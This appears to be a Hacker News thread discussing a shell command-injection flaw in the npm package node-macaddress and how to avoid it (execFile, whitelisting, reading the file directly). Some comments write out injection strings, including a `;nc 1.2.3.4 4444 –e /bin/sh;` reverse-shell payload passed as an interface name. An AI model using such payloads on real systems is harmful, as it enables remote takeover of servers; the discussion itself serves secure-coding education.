Yeah, that's dirty. I hate to be an apologist for this kind of thing, but this vulnerability is in the same time zone to me as saying mysql2 has a critical vulnerability if attackers get access to connection.query's first argument.

The package definitely should be updated, and I appreciate being informed, but "No fix is currently available for this vulnerability" strikes me as a little disingenuous. Object.Freeze a list of iface options, and validate user input against that.. Wouldn't that prevent this attack?

Someone familiar with databases and SQL will understand that giving an attacker direct access to write a query is going to make you vulnerable, even with zero knowledge of how the thing is implemented. A function for retrieving a MAC address does not have the same expectation. Without knowing how it’s inplemented, it’s quite reasonable to expect such a function to behave sanely on arbitrary input.

The correct thing to do is either not use the library, or to restrict usage by never pass arbitrary user-controllable data to it. Whitelisting would definitely work, as long as the whitelist cannot be externally manipulated. Don't expose the whitelist rather than relying on Object.Freeze.

Don't forget the just-as-bad-but-maybe-worse version for the generic Unix[0] platform. The Mac OS X version[1] is equally bad.

Ironically, I don't see this problem in the Windows version[2].

[0] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...

[1] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...

[2] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...

I think the Windows code may be broken as well though for entirely different reason. It doesn't handle overlapping names of network interfaces. It searches for the first occurrence of the text of iface[1] in the output and then returns the next macaddress-ish text it finds.

That means "Local Area Connection" will also match "Local Area Connection 2", "Local Area Connection 3", etc and the sort order of the ipconfig command will determine which one you will return.

[1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c9...

Nodejs API docs for exec say:

> Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.

I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the time user inputs are just passed as parameters or built into paths as in this case, so I wondered, is it enough to quote them instead? we don't need the features of double quotes when building the string in some other language in which case the rules for single quotes apply:

From GNU Bash 3.1.2.2 Single Quotes:

> Enclosing characters in single quotes (‘'’) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash.

In which case is it possible to get away with just "sanitizing" for single quote usage and then single quote all paramaters?:

    exec(`cat '/sys/class/net/${iface.replace(/'/g, '')}/address'`, () => {})

Is it possible to break out of that? I think in order to use && or ; to start a new command you need to end the context of the string, but .replace(/'/g, '') seems to remove that ability? e.g

    iface = `'; touch /uhoh;`

results in the following string passed to exec

    cat '/sys/class/net/; touch /uhoh;/address'

    => cat: '/sys/class/net/; touch /uhoh/address': No such file or directory

Also you can't do further exec inside single quotes with backticks e.g

    cat '/sys/class/net/` touch /uhoh `/address'

    => cat: '/sys/class/net/`touch /uhoh`/address': No such file or directory

Escaping and quoting is the wrong way to go. Even if it works you're technically not totally correct as you can't reference my network interface named "bad'name"[1].

If you can avoid fork/exec you're always better off. In this case reading the file directly is fine. I can't think of a valid reason to fork and invoke cat.

If you have a legit reason to fork and run then use execFile(...) as you can pass the arguments as an actual array. No escaping needed as it gets passed in total without shell parsing of args. Your example would be something like:

    execFile('/bin/cat', ['--', `/sys/class/net/${iface}/address`,], (error, stdout, stderr) => { ... })

Though that has the issue of being able to pass in ../../../ and read a file named "address" anywhere on the filesystem. Should also add in a regex validation that no directory separators are in the text of iface.

[1]: Yes this sounds stupid but it's a valid file name. A more realistic one may be something like "Alice's Wi-Fi".

[2]: https://nodejs.org/api/child_process.html#child_process_chil...

> Escaping and quoting is the wrong way to go. Even if it works you're technically not totally correct as you can't reference my network interface named "bad'name"[1]. If you can avoid fork/exec you're always better off. In this case reading the file directly is fine. I can't think of a valid reason to fork and invoke cat.

Yes I get that, I should have clarified: in the general use of exec (i.e a valid and necessary use).

> If you have a legit reason to fork and run then use execFile(...)

You are absolutely right, execFile is a much better way, I've used it before and I guess you are right - in _most_ cases this should be the #1 choice.

[edited] - irrelevant details of obscure case where execFile isn't enough.

Anyway, in a case where exec through a shell is necessary for some reason, i'm wondering if this method of single quoting is actually safe or not, as far as I can see it is, but i'm not a security expert.

Quoted exactly right, it will not be exploitable. However, this amounts to declaring which input is disallowed, generally not a good idea. It is preferrable to declare which input is allowed.

In this case, matters are worse because without knowing which shell we are running under and which cat we are executing it is impossible to know the complete list of dangerous characters. (In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.)

(The fact that cat is even in there is of course doubly insane. They start an extra process just to make reading the data slightly more complicated.)

Thanks

> matters are worse because without knowing which shell we are running under

The shell in exec can be configured, it's /bin/sh by default but of course this is linked to all kinds of different things on different OS, ubuntu links to dash, used to be bash, FreeBSD has a "proper" sh. I suppose if going through a shell was somehow necessary you could try to be more secure by specifying a absolute path to a shell but...

> In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.

:P I feel like it's game over at that point, is there really any point in worrying about library security when the $PATH has been effectively hijacked?

> is there really any point in worrying about library security when the $PATH has been effectively hijacked?

Well, there might be legitimate (although somewhat misguided) reasons for someone to do that. People routinely do similar things in dev environments all the time. I can absolutely see how it could reach production. If you don't expect your web app to launch shell scripts you might not even think about it.

It's the small things, which in themselves might not be serious or even noteworthy, which compound together to deliver the nasty surprises.

I'm not a JS developer, so this as much of a question as it is a statement.

`exec` is a system call and doesn't call bash or any other shell. At least, it shouldn't.

If it does, then it would be wrong to assume that bash is even available.

Either way. The single quote sytax is specific to bash (and maybe sh, dash, etc. I'm not certain.) so, don't rely upon it.

You are describing execFile in nodejs which directly spawns a binary into a child process and explicitly passes each argument from an array (Other's here have mentioned it's the prefered way as it obviously avoids any arbitrary execution potential of going through a shell)...

exec is not a system call in nodejs, it's just a convenience function that sets up a child process and spawns a shell (of your choosing) and then passes the first argument as the single command.

In this particular case, you know the result has to be a subpath under /sys/class/net/... and, specifically, an interface name. I'm 95% sure that, if it's not alphanumeric, you can safely throw it out (and the other 5% is in the kernel and udev docs).

> In this particular case, you know the result has to be a subpath under /sys/class/net

I get that in _this_ case, but I'm talking more generally, sometimes parameters are allowed to or even need to have various other non alphanumeric chars, and then you start going down the fallible road of differentiation... trying to sanitise not quite everything without letting exploits pass through which is dangerous.

But in the more general case of "it's a parameter" can't we just quote it, sanitise for single quotes and then know it's safe?

> after verifying that the iface parameter does not contain a directory separator.

No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.

How are you going to white-list network-interface names? On Linux at least you can name them almost anything you want:

  % sudo ip link set eth3 down
  % sudo ip link set eth3 name "'deal-with-it'"
  % sudo ip link show "'deal-with-it'"
  5: 'deal-with-it': <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 10000
      link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff

The only interface-name restrictions iproute2 sets is that they can't contain NUL, slash, or white space, and they can't be longer than 15 characters.

So I guess the question is does a regex of [^/ ]{1,15} count as a whitelist or a blacklist?

So does Linux allow .. as an interface name? If so, that’s nuts.

Yikes. Even if fixed I would be highly suspect of the rest of the code written by someone who felt they needed an exec call to read a file.

Perhaps I should make a new npm module named cat

    module.exports = require('fs').readFile;

and saved the day.

You joke but I've come across many one line modules in the npm registry... usually when trying to figure out if I trust the tree of some prospective module i'm considering including in my code - It's a serious problem for module authors because most aren't even aware they are including all of this crap, they see the first level of dependencies looks fairly reasonable, but you have to keep digging and then you find all kinds of crazy ridiculous things just because one otherwise reasonable person in the chain didn't quite look closely enough at something they were depending on which opened up a doorway to hell.

My general rule is to just avoid trees deeper than a few levels unless there is a very good reason (unless i'm creating a public module in which case I aim for zero, usually end up with 1 or 2 one level dependencies) - most node modules are the unix philosophy taken way too far, every pattern is bad when incorrectly used.

This is kind of embarrassing but the advisories page is full of gems like that: https://nodesecurity.io/advisories

I'm shocked. There are almost 30 advisories in May alone that are 7+.

To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885...

Counting vulnerabilities is entirely useless. You can easily attribute more vulns to better security, as it may indicate a larger/ better group of people are looking for vulnerabilities.

I actually find that is generally the case.

Generally, how much vulnerabilities is too much? I think Node is past this point.

There is no limit - as I said, counting is pointless.

As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not.

Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk?

Counting vulns is pointless.

I think comparing is pointless. You are correct that a project with a small number of vulns is no more secure than the one with a high number of vulns. But counting seem sensible - if a project spills major vulns at a continuous rate it means two things: the overall codebase is not improving, and who knows how many more vulns there are. It's not something to be happy about.

I disagree for exactly the reasons I've stated - "more vulns" doesn't take impact into account. "More vulns" doesn't take who is reporting them into account (internal? paid pentester?). These things matter a lot.

Again, look at projects that pay for vulns. They have hundreds a year - this is a good thing. They come in at a continuous rate.

Counting is pointless.

This is so awful that its existence is borderline suspicious. It's also conveniently just part of a massive "v1.0" (initial commit).

Other platforms do `exec` calls, e.g. `"ifconfig " + iface`, etc. This `cat` is odd, but still within what can be attributed to sloppiness (and copy-paste-driven programming) rather than malice.

exec cat is so odd that I can't seriously attribute it to sloppiness. It's for reading a file, and much more cumbersome.

Plus, exec is not something to be taken lightly, to the point where I'd barf if I found out a lib I depended on exec'd internally and immediately remove it, unless there was absolutely no other way to perform the action for some absurd reason.

Somebody Google'd "get mac address from script linux" and scrolled through a couple things involving awk and other nonsense until they found something easily digestible--a StackOverflow answer saying:

    For particular interface like for eth0:
    cat /sys/class/net/eth0/address

Then without thought or understanding, put that into their JavaScript as directly as possible.

This is someone doing work without a full understanding of the problem space. Less of a programmer, more of a programming technologist. I don't find it surprising at all.

Hmm, an adequate explanation, but why in the world is someone making a public library out of that, and furthermore, why in the world are people using this library? The library has been downloaded 2300 times in the past year!

I have nothing against bad developers—we all started there—but there is something seriously wrong with the JavaScript ecosystem and the barrier of entry for pushing your code into other people's projects through libraries.

My point is, it's likely that the first line was something like exec("ifconfig " + name), then it was copied and edited to exec("networksetup -getmacaddress"), then this exec("cat") had happened. Because laziness.

It really wouldn't be a problem (a poor and ineffective code for sure, but no security bugs), if all the arguments would be correctly validated (and escaped, although valid interface names probably don't need it).

Never attribute to malice that which is adequately explained by stupidity.

Well said/quoted. However, the boundary is very vague.

In what scenarios could this be abused?

If some user input is going into anything this library uses you can take over the box pretty much, execute anything you want (at the user level of node).

Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app.

This package has nearly 100M downloads a year which is pretty astonishing.

I get that part, but in what scenario will user input actually be provided to this package? It feels like this is highly unlikely and that there probably won't be any cases where this will actually be an issue. I may be wrong though, I just can't think of anything.

An example off the top of my head would be some sort of IoT device which has a drop-down to communicate via 4G, WiFi, ethernet etc. I'd be they'd put the value of the select to be the interface name and wouldn't check input value, so you could craft a special request with a bad value. But I do agree; not super easy to exploit.

The more worrying fact is something like this which could easily be drawn in to 100m installs.

Anything which passes "iface" through without sanitising it.

The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.

e.g.

    macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})

I think the OP was trying to imagine a scenario where a potentially malicious user would be asked to pass in the interface string.

I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?

Me too... with figuring out security with exec at least. Yes is the answer, and this is noted in the nodejs documentation for exec.

The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics.

I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too.

It seems like it's just best avoided unless absolutely necessary (most often it's not).

Yes. You will simply never catch every possible case that can potentially cause harm.

Thank you.

That's what I'm assuming. Just arbitrarily executing an unknown seems bad at face value.

Also this interface assumes that the kernel is using sysfs.

There is no dearth of amateurish shenanigans in node infrastructure, there is a reason that people are still reluctant to switch from php/python despite so many selling points of node.

These kinds of bugs are language independent, the source is between the screen and the keyboard.

They are language-independent but may still have a higher incidence in one community than another. Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects, but I have no concrete evidence for this speculation. The only study I know of looking at this in a serious way is this one:

http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf (https://news.ycombinator.com/item?id=8558740)

However, JavaScript ends up a being less prone to defective commits than C++ and C, as well as PHP and Python, but there are a number of issues that don't allow us to conclude all that much from these results (imo).

> Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects

It's just bias. Python code is riddled with vulns - especially since it's all C under the hood.

https://hackernoon.com/python-sandbox-escape-via-a-memory-co...

Here's a great post that covers some issues in Python modules and why they're extra exploitable because they execute under CPython.

This is a particularly relevant quote:

> Perhaps less recognized is the fact that memory corruption bugs are reported in popular Python modules all the time without so much as a CVE, a security advisory, or even a mention of security fixes in release notes.

The "amateurish shenanigans" alluded to probably has nothing to do with the language but the project itself.

If anyone can commit anything and nobody ever reads what is to be commited, the repository must be regarded as attacker controlled. Some people will likely find that problematic.